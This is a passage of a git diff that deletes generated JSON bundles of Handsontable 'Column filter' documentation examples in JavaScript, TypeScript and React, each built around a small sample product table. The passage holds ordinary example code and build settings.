JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n

    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#exampleGetFilteredData');\nconst rowCountInfo = document.querySelector('#rowCountInfo');\nfunction updateRowCountInfo(instance) {\n // `getData()` returns only the rows that pass the current filters\n const visibleRowCount = instance.getData().length;\n // `getSourceData()` always returns every row, filtered or not\n const totalRowCount = instance.getSourceData().length;\n rowCountInfo.textContent = `Showing ${visibleRowCount} of ${totalRowCount} rows.`;\n}\nconst hot = new Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n // `afterFilter()` fires after Handsontable applies the filters\n afterFilter() {\n updateRowCountInfo(this);\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nupdateRowCountInfo(hot);","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleGetFilteredData.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleGetFilteredData","exampleTitle":"Get filtered data","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleGetFilteredData.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleGetFilteredData.ts.json deleted file mode 100644 index ac10f5c9..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleGetFilteredData.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Columns ▸ Column filter · Get filtered data · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n

    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleGetFilteredData')!;\nconst rowCountInfo = document.querySelector('#rowCountInfo')!;\n\nfunction updateRowCountInfo(instance: Handsontable) {\n // `getData()` returns only the rows that pass the current filters\n const visibleRowCount = instance.getData().length;\n // `getSourceData()` always returns every row, filtered or not\n const totalRowCount = instance.getSourceData().length;\n\n rowCountInfo.textContent = `Showing ${visibleRowCount} of ${totalRowCount} rows.`;\n}\n\nconst hot = new Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n // `afterFilter()` fires after Handsontable applies the filters\n afterFilter() {\n updateRowCountInfo(this);\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nupdateRowCountInfo(hot);","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleGetFilteredData.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleGetFilteredData","exampleTitle":"Get filtered data","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleSaveRestoreFilters.js.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleSaveRestoreFilters.js.json deleted file mode 100644 index f2fdc22b..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleSaveRestoreFilters.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Columns ▸ Column filter · Save and restore filter settings · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#exampleSaveRestoreFilters');\nconst hot = new Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n// get the `Filters` plugin, so you can use its API\nconst filters = hot.getPlugin('filters');\nlet savedConditions = [];\ndocument.querySelector('.applySampleFilter').addEventListener('click', () => {\n filters.clearConditions();\n // filter the 'Price' column (column at index 2) for items over $200\n filters.addCondition(2, 'gt', [200]);\n filters.filter();\n});\ndocument.querySelector('.saveFilters').addEventListener('click', () => {\n // `exportConditions()` returns the current conditions, keyed by physical column index\n savedConditions = filters.exportConditions();\n});\ndocument.querySelector('.clearFilters').addEventListener('click', () => {\n filters.clearConditions();\n filters.filter();\n});\ndocument.querySelector('.restoreFilters').addEventListener('click', () => {\n // `importConditions()` expects the same physical-column-indexed structure\n filters.importConditions(savedConditions);\n filters.filter();\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleSaveRestoreFilters.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleSaveRestoreFilters","exampleTitle":"Save and restore filter settings","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleSaveRestoreFilters.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleSaveRestoreFilters.ts.json deleted file mode 100644 index 05e6ea02..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleSaveRestoreFilters.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Columns ▸ Column filter · Save and restore filter settings · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { Filters } from 'handsontable/plugins';\nimport type { ColumnConditions } from 'handsontable/plugins/filters';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleSaveRestoreFilters')!;\nconst hot = new Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\n// get the `Filters` plugin, so you can use its API\nconst filters: Filters = hot.getPlugin('filters');\nlet savedConditions: ColumnConditions[] = [];\n\ndocument.querySelector('.applySampleFilter')!.addEventListener('click', () => {\n filters.clearConditions();\n // filter the 'Price' column (column at index 2) for items over $200\n filters.addCondition(2, 'gt', [200]);\n filters.filter();\n});\n\ndocument.querySelector('.saveFilters')!.addEventListener('click', () => {\n // `exportConditions()` returns the current conditions, keyed by physical column index\n savedConditions = filters.exportConditions();\n});\n\ndocument.querySelector('.clearFilters')!.addEventListener('click', () => {\n filters.clearConditions();\n filters.filter();\n});\n\ndocument.querySelector('.restoreFilters')!.addEventListener('click', () => {\n // `importConditions()` expects the same physical-column-indexed structure\n filters.importConditions(savedConditions);\n filters.filter();\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleSaveRestoreFilters.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleSaveRestoreFilters","exampleTitle":"Save and restore filter settings","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleServerSideFilter.js.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleServerSideFilter.js.json deleted file mode 100644 index 2eb96d0a..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleServerSideFilter.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Columns ▸ Column filter · Server-side filtering · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleServerSideFilter');\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n // `beforeFilter()` is a Handsontable hook\n // it's fired after Handsontable gathers information about the filters, but before the filters are applied\n beforeFilter(conditionsStack) {\n // gather information about the filters\n console.log(`The amount of filters: ${conditionsStack.length}`);\n\n // when the filters are cleared, the conditions stack is empty\n const [lastChanged] = conditionsStack;\n\n if (lastChanged) {\n console.log(`The last changed column index: ${lastChanged.column}`);\n console.log(`The amount of filters added to this column: ${lastChanged.conditions.length}`);\n // the list of filter conditions\n console.log(lastChanged.conditions);\n }\n\n // return `false` to disable filtering on the client side\n return false;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleServerSideFilter.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleServerSideFilter","exampleTitle":"Server-side filtering","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleServerSideFilter.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleServerSideFilter.ts.json deleted file mode 100644 index 33318f53..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleServerSideFilter.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Columns ▸ Column filter · Server-side filtering · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleServerSideFilter')!;\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n // `beforeFilter()` is a Handsontable hook\n // it's fired after Handsontable gathers information about the filters, but before the filters are applied\n beforeFilter(conditionsStack) {\n // gather information about the filters\n console.log(`The amount of filters: ${conditionsStack.length}`);\n\n // when the filters are cleared, the conditions stack is empty\n const [lastChanged] = conditionsStack;\n\n if (lastChanged) {\n console.log(`The last changed column index: ${lastChanged.column}`);\n console.log(`The amount of filters added to this column: ${lastChanged.conditions.length}`);\n // the list of filter conditions\n console.log(lastChanged.conditions);\n }\n\n // return `false` to disable filtering on the client side\n return false;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleServerSideFilter.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleServerSideFilter","exampleTitle":"Server-side filtering","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleExcludeRowsFromFiltering.tsx.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleExcludeRowsFromFiltering.tsx.json deleted file mode 100644 index b604908c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleExcludeRowsFromFiltering.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Columns ▸ Column filter · Exclude rows from filtering · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleExcludeRowsFromFiltering\"));\nroot.render(React.createElement(App));","/src/App.tsx":"// you need `useRef` to call Handsontable's instance methods\nimport { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotTableComponentRef = useRef(null);\n const exclude = () => {\n const hotInstance = hotTableComponentRef.current?.hotInstance;\n // @ts-ignore\n const filtersRowsMap = hotInstance?.getPlugin('filters').filtersRowsMap;\n\n filtersRowsMap.setValueAtIndex(0, false);\n filtersRowsMap.setValueAtIndex(filtersRowsMap.getLength() - 1, false);\n };\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleExcludeRowsFromFiltering.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleExcludeRowsFromFiltering","exampleTitle":"Exclude rows from filtering","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleGetFilteredData.tsx.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleGetFilteredData.tsx.json deleted file mode 100644 index 68f05cb2..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleGetFilteredData.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Columns ▸ Column filter · Get filtered data · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
